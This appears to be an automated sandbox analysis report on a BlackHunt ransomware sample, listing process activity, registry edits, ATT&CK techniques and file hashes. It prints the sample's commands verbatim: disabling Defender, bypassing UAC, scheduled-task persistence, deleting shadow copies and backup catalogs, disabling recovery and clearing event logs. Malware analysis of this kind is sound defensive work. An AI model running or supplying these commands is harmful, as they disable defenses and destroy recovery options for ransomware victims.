ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 48 PID 2672 wrote to memory of 1160 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 49 PID 2672 wrote to memory of 1160 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 49 PID 2672 wrote to memory of 1160 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 49 PID 2672 wrote to memory of 1160 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 49 PID 2672 wrote to memory of 1272 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 51 PID 2672 wrote to memory of 1272 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 51 PID 2672 wrote to memory of 1272 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 51 PID 2672 wrote to memory of 1272 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 51 PID 2672 wrote to memory of 668 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 52 PID 2672 wrote to memory of 668 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 52 PID 2672 wrote to memory of 668 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 52 PID 2672 wrote to memory of 668 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 52 PID 2672 wrote to memory of 2656 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 53 PID 2672 wrote to memory of 2656 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 53 PID 2672 wrote to memory of 2656 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 53 PID 2672 wrote to memory of 2656 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 53 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe"C:\Users\Admin\AppData\Local\Temp\ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2672 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵PID:2740
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2132
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2712
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:948
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵PID:2720
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:2516
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2100
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:1784
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:3024
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:836
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:696
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:1444
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:784
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2320
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2948
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:2156
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2980
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:844
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2908
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:1872
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:780
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:1984
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2996
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:1996
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:1160
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:1936
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:1272
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:1976
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:668
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:2164
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2656
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:2040
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2216
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1668
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1660
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1284
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:1828
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:2384
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2560
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1420
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:808
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:1340
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:368
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2268
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:1036
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:1968
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:1616
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:1144
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:1656
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:1060
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:932
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:904
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1504
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1612
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2388
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:988
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:2820
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:1792
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe" /F2⤵PID:912
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe" /F3⤵
- Creates scheduled task(s)
PID:712
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:1548
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2944
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2092
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2252
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:2124
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:1048
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:2344
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2916
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2204
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2764
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2068
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1568
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1732
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2488
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1488
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:1756
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1716
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2452
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1752
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2644
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:2040
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:2972
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:220
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:3052
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:3008
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:2620
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:2968
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2896
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:888
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2516
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:1128
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1240
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:308
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2768
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:1548
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1572
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1864
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2376
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1744
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2484
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1792
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:1692
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1036
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:2136
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1060
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2864
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2472
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2520
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:1284
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:2592
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:2044
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:208
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:2552
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:2940
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:1604
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:2764
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:612
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:1396
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:2912
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2636
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:216
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:2936
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:2840
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:2100
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe"2⤵
- Deletes itself
PID:928 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:2040
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1936
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2804
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:1968
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:2956
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
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Downloads
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Filesize
1KB
MD5118040334e4409f404010f9965beade8
SHA1faa1cd4bb3f0d0817fe72e7c62a15a225af80517
SHA256a43bae89856d07226749e39bed82c21dddadd163d4cb9842e4af2f97ae2da82c
SHA512924e9857ef2c958d0b49d825c9e6358ed47421d12c4dcfc2082f4856ed6e9d4c187fb741cc93fccfe0e5906e3452692890c5ed09c087bf7a7bffe620f25ec8fa
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Filesize
12KB
MD50d0fe3f669053748ad391b136c55550c
SHA1f8113ae18daef9420313fa802c720e5c44395a7c
SHA256c7a94966d318507479b70d41f0ce55a9feddb742367daaedb7441357ffeb1020
SHA5123f71af2f6bf75630185360ad51cf73f2590f792a93c92c09775c3b0dba1088c348218c689aee615b87d7a958423baddada05c778a4aa32e1935921c781ae692d
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Filesize
684B
MD51db6fad9be597f4cd3d530d4f1503d1d
SHA1150269fb1cdfafc30c896a5e25abe51708a3adf6
